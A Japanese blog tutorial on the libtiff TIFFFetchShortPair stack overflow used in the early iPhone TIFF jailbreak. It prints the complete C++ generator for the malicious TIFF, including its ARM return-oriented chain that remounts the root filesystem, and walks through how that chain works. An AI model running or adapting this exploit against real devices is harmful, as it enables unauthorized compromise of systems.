.

 

上記の広告は1ヶ月以上更新のないブログに表示されています。
新しい記事を書く事で広告が消せます。
WebMoney ぷちカンパ

TIFF画像バッファーオーバーフローについて 

今回はTIFF画像でのバッファーオーバーフローを実際にiphoneやipodで使われた方法を用いて説明していきたいと思います。

⇒バッファーオバーフローの仕組みはこちらから
①TIFFの画像フォーマットの特徴について説明しておきます。

・構造そのものは簡単
・圧縮オプションはいくつか用意されている
・色の表現の自由度が高い
・Specificationに定められたすべてを実装する必要がない


②次に、TIFF画像の簡単な構造について紹介しておきます。


TIFF フォーマットはファイルヘッダのあとに画像の幅や高さなどの情報を格納したIFD (Image
File Directory) と呼ばれるエントリが並び、そこで画像の幅や高さといった情報が格納される。このIFD
は12バイト固定で、以下のようになっています。(⇒参考画像①参考画像②



0 +----------------------------+
| IFD タグ(2 byte) |
2 +----------------------------+
| フィールドタイプ (2 byte) |
4 +----------------------------+
| 値 or データサイズ (4 byte) |
8 +----------------------------+
| オフセット値 (4 byte) |
11+----------------------------+

8バイトから11バイト目のオフセット値は、4バイトで収まらないようなデータを処理するときに使われ、データのファイル先頭からのアドレスを示している。
(このとき、4-7バイト目にデータサイズが格納されている。)
データが直接IFDエントリ内に格納されているか、オフセット先に格納されているかはIFDタグで示される情報の種類によって決まる。




②TIFFの脆弱性とは?


原因は、libtiff 内の tif_dirread.c というソースコードの中の TIFFFetchShortPair にあります。
*libtiffのverによっては使えません。古いと使える場合があります。
バッファーオバーフローはコンパイラでは検出が難しいため、多くのプログラムに存在します。
悪まで参考資料として紹介していますが、絶対にTiff Exploitによるバッファーオーバーフローを含むハッキング行為は犯罪行為なのでしないようにお願いします。


tif_dirread.c のコードは以下参考に。
dirreaddir IFD (Image File Directory) のdir (directory) のこと。
ソースコード中では dir 構造体の中に上に書いた IFD の情報が dir->tdir_tag, dir->tdir_type, dir->tdir_count, dir->tdir_offset として入っている。

static int
TIFFFetchShortPair(TIFF* tif, TIFFDirEntry* dir)
{
switch (dir->tdir_type) {
case TIFF_BYTE:
case TIFF_SBYTE:
{
uint8 v[4];
return TIFFFetchByteArray(tif, dir, v)
&& TIFFSetField(tif, dir->tdir_tag, v[0], v[1]);
}
case TIFF_SHORT:
case TIFF_SSHORT:
{
uint16 v[2];
return TIFFFetchShortArray(tif, dir, v)
&& TIFFSetField(tif, dir->tdir_tag, v[0], v[1]);
}
default:
return 0;
}
}


この TIFFFetchShortPair のコードは、変数 v は4バイト分の配列 (1バイト*4 か 2バイト*2) として宣言されているが、TIFFFetchShortPair 中でさらに呼びだしているため、
TIFFFetchByteArray/TIFFFetchShortArray は dir->tdir_count が2バイトか4バイト以上であれば、そのサイズ分dir->tdir_offset位置にあるTIFF画像の内容を v にコピーするような作りになっている。
変数 v はオート変数なのでスタックに格納されている。
したがって、v に4バイト以上のデータをコピーした場合スタックの中身をに書きかえることと同じことになる。
そして、スタックにはオート変数だけでなく、関数の引数や戻り先なども格納されているので、スタックを書き換えられるということはこういったプログラムの制御もコントールできてしまう。


さらに、TIFFFetchShortPair 関数が呼ばれるのは tif_dirread.c 内の以下の部分

case TIFFTAG_DOTRANGE:
(void) TIFFFetchShortPair(tif, dp);


DOTRANGE という IFDタグを処理するとき。

なので、TIFF ファイルの DOTRANGE の IFD エントリのデータサイズ 4-7 バイト目に細工をして、コードを送りこめば TIFF exploit が完成する。

これがTIFFによるバッファーオーバフローの脆弱性です。





③実際のコードを参考に

・PSPのExploitのソースコードが手に入らなかったため、iphoneのTiff画像によりバッファーオーバーフローバグについて説明します。


#include
#include
#include
#include

using namespace std;

void print_pad(int n, char p = '\0') {
for (int i = 0; i < n; i++)
printf("%c", p);
}

void print_arr(char *arr, int size){

for (int i = 0; i < size; i++)
printf("%c", arr[i]);
}

struct Node
{
typedef enum { VAL, STACK, BYTES, PTR } NodeType;
NodeType type;

union
{
int value;
char bytes[4];
};

Node()
: type(VAL), value(0)
{ }

Node(const Node &_node)
: type(_node.type), value(_node.value)
{ }

Node(int _value, NodeType _type = VAL)
: type(_type), value(_value)
{ }

};

struct Ptr
{
char *str;
Node node;
};

struct Stack
{
Stack(Node &_base, Ptr *_strings)
: base(_base), strings(_strings)
{ }

void Add(Node node){

switch (node.type){

case Node::BYTES:
base.value += node.value;
break;
case Node::STACK:
node.value += base.value;
// fall through
default:
base.value += 4;
}

stack.push_back(node);
}

void Write(){
for (int i = 0; strings[i].str; i++)
{
strings[i].node.value = base.value;
base.value += strlen(strings[i].str) + 1;
}

for (vector::iterator it = stack.begin(), end = stack.end(); it != end; ++it){
switch (it->type)
{
case Node::BYTES:
print_pad(it->value, 0x00);
break;
case Node::PTR:
print_arr(strings[it->value].node.bytes, 4);
break;
default:
print_arr(it->bytes, 4);
}
}

for (int i = 0; strings[i].str; i++){
print_arr(strings[i].str, strlen(strings[i].str) + 1);
}
}

vector stack;
Node base;
Ptr *strings;
};

void build_tif(Node &sp, Node &pc){

char tif[] = {
0x49,0x49, // header
0x2a,0x00, // version
0x1e,0x00,0x00,0x00, // IFD location
0x00,0x00,0x00,0x00, // padding to IFD
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,
0x08,0x00, // 8 tags in the image
0x00,0x01,0x03,0x00,0x01,0x00,0x00,0x00,0x08,0x00,0x00,0x00, // image width = 8,
0x01,0x01,0x03,0x00,0x01,0x00,0x00,0x00,0x08,0x00,0x00,0x00, // image length = 8,
0x03,0x01,0x03,0x00,0x01,0x00,0x00,0x00,0xaa,0x00,0x00,0x00, // samples per pixel = 1
0x06,0x01,0x03,0x00,0x01,0x00,0x00,0x00,0xbb,0x00,0x00,0x00, // photometric interpretation = black(1)
0x11,0x01,0x04,0x00,0x01,0x00,0x00,0x00,0x08,0x00,0x00,0x00, // strip offsets = 8
0x17,0x01,0x04,0x00,0x01,0x00,0x00,0x00,0x15,0x00,0x00,0x00, // strip byte counts = 15
0x1c,0x01,0x03,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00, // planar configuration = 1
0x50,0x01,0x03,0x00,0xff,0x00,0x00,0x00,0x84,0x00,0x00,0x00, // dot range, length = 0xff, offset from start of file 0x84
0x00,0x00,0x00,0x00, // padding to dot range data start
};

print_arr(tif, sizeof(tif));
print_pad(104, 0x00); // padding
print_arr(sp.bytes, 4);
print_pad(12, 0x00); // padding
print_arr(pc.bytes, 4);

}

int main(int argc, char **argv){

if (argc != 2){
printf("Usage: %s <1.0.2/1.1.1>\n", argv[0]);
return 1;
}

int version = (!strcmp(argv[1], "1.0.2") ? 0 : 1);

Ptr str[] = {
{ "/var/root/Media", 0 },
{ "/var/root/Oldmedia", 0 },
{ "/", 0 },
{ "hfs", 0 },
{ "/dev/disk0s1", 0 },
{ NULL, 0 }
};

Node base(version == 0 ? 0x0055a638 : 0x006f7638);

Stack stack(base, str);

Node ldmia_r4_r0(version == 0 ? 0x310b668c : 0x3125368c); //.ldmia r4!, {r0, r1, r2, r3, r5, r6, r12, sp, lr, pc}
Node ldmia_sp_r4(0x3000adfc); // ldmia sp!, {r4, r7, pc}
Node ldmia_sp_r0(0x300df800); // ldmia sp!, {r0, r1, r2, r3, pc}


Node rename(0x30015530);
Node symlink(0x30027300);
Node mount(0x300267d0);
Node dead(0xdeadbeef);

build_tif(base, ldmia_r4_r0); // set stack base and initial jump

stack.Add(Node(0, Node::PTR)); // .r0 = "/var/root/Media"
stack.Add(Node(1, Node::PTR)); // r1 = "/var/root/Oldmedia"
stack.Add(Node(20, Node::BYTES)); // r2,r3,r5,r6,r12
stack.Add(Node(12, Node::STACK)); // sp -> offset 12
stack.Add(ldmia_sp_r4); // lr = load r4,r7,pc from sp
stack.Add(rename); // pc = rename(r0, r1)

stack.Add(Node(12, Node::STACK)); // r4 = sp -> offset 12
stack.Add(Node(4, Node::BYTES)); // r7 = unused
stack.Add(ldmia_r4_r0); // pc = load r0...lr from r4

stack.Add(Node(2, Node::PTR)); // r0 = "/"
stack.Add(Node(0, Node::PTR)); // r1 = "/var/root/Media"
stack.Add(Node(20, Node::BYTES)); // r2,r3,r5,r6,r12
stack.Add(Node(12, Node::STACK)); // sp -> offset 12
stack.Add(ldmia_sp_r0); // lr = load from r0..pc from sp
stack.Add(symlink); // pc = symlink(r0, r1)

stack.Add(Node(3, Node::PTR)); // r0 = "hfs"
stack.Add(Node(2, Node::PTR)); // r1 = "/"
stack.Add(Node(0x00050000, Node::VAL)); // r2 = MNT_RELOAD | MNT_UPDATE
stack.Add(Node(8, Node::STACK)); // r3 = **data
stack.Add(mount); // pc = mount(r0, r1, r2, r3)
stack.Add(Node(4, Node::PTR)); // data = "/dev/disk0s1"

stack.Write();

return 0;
}





④Exploitコードを作るためには?(ipodの資料参考)
[③のコード解説を含む]


一番簡単なのはスタックに実行させたいプログラムを流しこんでおき、RET命令などで戻るアドレスをそのアドレスにおきかえてしまうという方法。

しかし、多くのCPUは脆弱性対策の一環としてスタック領域からのプログラム実行を許していない(= PC (プログラムカウンタ)にスタックエリアのアドレスを指定できない) のでこの方法が使えない。

そこで、この exploit ではレジスタの値を調整し、すでにある関数や命令のアドレスにジャンプして実行してもらうという方法を使った。

飛びたいアドレスにジャンプする方法はスタックの状態を把握し、RETアドレスを調整するのが汎用的な方法として考えられるが、今回はダミーの TIFF イメージを iPhone/iPod touch に読みこませてみたら、勘違いしたプログラムが画像中のあるオフセットのデータをPC(プログラムカウンタ)に書きこむことがわかったため、そのオフセットにジャンプしたいアドレスを書くことにしたらしい。

そして、ラッキーなことにARMプロセッサはプログラムからPCをセットする命令が用意されていた。
exploit プログラム内の ldmia という命令(⇒上のソースコードではここ

Node ldmia_r4_r0(version == 0 ? 0x310b668c : 0x3125368c); // ldmia r4!, {r0, r1, r2, r3, r5, r6, r12, sp, lr, pc}
Node ldmia_sp_r4(0x3000adfc); // ldmia sp!, {r4, r7, pc}
Node ldmia_sp_r0(0x300df800); // ldmia sp!, {r0, r1, r2, r3, pc}

sp(スタックポインタ)が指しているアドレスの内容を順にレジスタにセットしていくようになっている。

先ほど書いたARMプロセッサの脆弱性対策のため、この命令を直接スタックに書いて呼びだすことはできないので、同じ命令を呼びだしているコードを見つけ、そのアドレスを指定するようにする
(今回は0x310b668c)。
これを駆使すればある程度の関数呼びだしを exploit コードの中で指定することができる。

さて、iPhone/iPod touch のデータにアクセスするのは、普段 iTunes との間で行われる通信方法をエミュレートするような形で行われる。
この通信は iPhone/iPod touch 上で走っている afc サービスを介して行われるが、通常このサービスを介してアクセスできるのは音楽データなどの入った /var/root/Media という領域以降に限定されている。

ということは、 /var/root/Media を / ファイルシステムに見せかけるようにする以下のようなコードを TIFF の中に埋めこんでしまえばそのファイルを読み書きできるはず。

1 これまでの/var/root/Media ディレクトリを /var/root/Oldmedia にリネーム
2 / のシンボリックリンクとして /var/root/Media を作成
3 / を read/write モードで再マウント

(ソースコード中ではこちら

解説
1 まず ldmia_r4_r0 を呼びだし、現在のSP(スタックポインタ)以降のデータがレジスタにコピーされる。
2 最後に PC (プログラムカウンタ) が rename 関数のアドレスに置きかわり、戻り先となるアドレスとして ldmia_sp_r4 が lr にセットされて rename 関数が実行
3 rename 関数が終了すると、ldmia_sp_r4 が呼ばれスタックポインタのアドレス位置の調整を行い、ldmia_r4_r0 命令を呼ぶ
4 再びスタックの内容がレジスタにコピーされ PC が symlink に変わり symlink が実行。 戻りアドレスは ldmia_sp_r0 (今度はスタックポインタの調整はいらないっぽい。 このヘンは試行錯誤の結果だと思われる)
5 symlink 終了後 ldmia_sp_r0 がスタックの内容をレジスタにコピーして mount 命令が実行される
6 プログラムカウンタがおかしなところを指し Safari がクラッシュする。必要な処理は終わっているのでクラッシュしても影響はない


これで、スタックをイジるだけでやりたいことができてしまう。 関数を呼びだしたあとにジャンプする lr レジスタをと ldmia 命令を駆使して関数を次々ジャンプさせてるところはある意味芸術的。

コードの動きを見ると、TIFF 画像を見たあとディスク領域が 300MB ぐらいに減ってしまうのは
/var/root/Media がOSのシステム領域に置き換わっていたからだとわかる。

iphoneの場合は、iPhone/iPod touch と通信する iPHUC(iPHoneUtilityClient) というツールを使ってルートパーティションを吸いだし、fstab を書換えてファイルシステムを読み書き可能な形にし、afc サーバを /
からアクセスできるように変更したあとに、元に戻せば好きなアプリケーションをインストールしたり、好きなファイルを書きかえたりできる。


WebMoney ぷちカンパ

この記事へのコメント

コメントをお寄せ下さい

 必須
 必須
 必須
       
 必須
(コメント編集・削除に必要)
(管理者にだけ表示を許可する)

トラックバック

この記事のトラックバックURL
http://psp0kaizou.blog36.fc2.com/tb.php/548-1a139264

上記広告は1ヶ月以上更新のないブログに表示されています。新しい記事を書くことで広告を消せます。